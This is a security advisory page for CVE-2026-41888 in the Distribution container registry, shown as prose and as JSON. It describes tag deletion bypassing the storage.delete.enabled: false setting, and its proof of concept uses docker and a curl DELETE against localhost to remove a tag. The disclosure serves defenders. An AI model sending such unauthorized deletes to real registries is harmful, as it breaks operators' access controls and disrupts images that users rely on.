GHSA-6PJF-3R9X-M592

Vulnerability from github – Published: 2026-05-04 20:48 – Updated: 2026-05-14 20:53
VLAI?
Summary
Distribution's tag deletion bypasses `storage.delete.enabled` configuration
Details

Summary

Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.

Details

When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.

However, tag deletion takes a separate code path that never checks this setting:

In registry/handlers/manifests.go:439-453, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.

In turn, tagStore.Untag() calls the storage driver directly to delete the tag path without checking whether deletes are enabled.

PoC

Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:

version: 0.1
storage:
  delete:
    enabled: false
  filesystem:
    rootdirectory: /var/lib/registry
http:
  addr: :5000

Start a local Distribution, mounting in the above configuration from the current directory:

docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml

In a separate terminal session/tab, push alpine:3.23 into the running instance:

docker pull alpine:3.23
docker tag alpine:3.23 localhost:5000/alpine:3.23
docker push localhost:5000/alpine:3.23

Confirm that the tag shows up as expected:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":["3.23"]}

Issue a delete for the 3.23 tag:

curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'

Observe that the tag is now gone, despite deletes being disabled:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":null}

Impact

This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/distribution/distribution/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/distribution/distribution"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T20:48:57Z",
    "nvd_published_at": "2026-05-14T18:16:47Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nTag deletion via the `DELETE /v2/\u003cname\u003e/manifests/\u003ctag\u003e` endpoint bypasses the `storage.delete.enabled: false` configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.\n\n### Details\n\nWhen `storage.delete.enabled` is configured to false, digest-based manifest deletion is correctly rejected by the guard in [registry/storage/linkedblobstore.go:212-215](https://github.com/distribution/distribution/blob/main/registry/storage/linkedblobstore.go#L213-L215). \n\nHowever, tag deletion takes a separate code path that never checks this setting:\n\nIn [`registry/handlers/manifests.go:439-453`](https://github.com/distribution/distribution/blob/main/registry/handlers/manifests.go#L439-L453), `DeleteManifest`  detects a tag reference, calls `tagService.Untag()`, returns,  never consulting `registry.deleteEnabled`.\n\nIn turn, [`tagStore.Untag()`](https://github.com/distribution/distribution/blob/main/registry/storage/tagstore.go#L111-L121) calls the storage driver directly to delete the tag path without checking whether deletes are enabled.\n\n### PoC\n\nUsing a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as `config.yaml`:\n\n```yaml\nversion: 0.1\nstorage:\n  delete:\n    enabled: false\n  filesystem:\n    rootdirectory: /var/lib/registry\nhttp:\n  addr: :5000\n```\n\nStart a local Distribution, mounting in the above configuration from the current directory:\n\n```shell\ndocker run -p 5000:5000 -v \"$(pwd)/config.yaml\":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml\n```\n\nIn a separate terminal session/tab, push `alpine:3.23` into the running instance:\n```shell\ndocker pull alpine:3.23\ndocker tag alpine:3.23 localhost:5000/alpine:3.23\ndocker push localhost:5000/alpine:3.23\n```\n\nConfirm that the tag shows up as expected:\n```shell\ncurl \u0027http://localhost:5000/v2/alpine/tags/list\u0027\n{\"name\":\"alpine\",\"tags\":[\"3.23\"]}\n```\n\nIssue a delete for the `3.23` tag:\n```shell\ncurl -X DELETE \u0027http://localhost:5000/v2/alpine/manifests/3.23\u0027\n```\n\nObserve that the tag is now gone, despite deletes being disabled:\n```shell\ncurl \u0027http://localhost:5000/v2/alpine/tags/list\u0027\n{\"name\":\"alpine\",\"tags\":null}\n```\n\n### Impact\n\nThis is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.",
  "id": "GHSA-6pjf-3r9x-m592",
  "modified": "2026-05-14T20:53:33Z",
  "published": "2026-05-04T20:48:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/distribution/distribution/security/advisories/GHSA-6pjf-3r9x-m592"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/distribution/distribution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Distribution\u0027s tag deletion bypasses `storage.delete.enabled` configuration"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…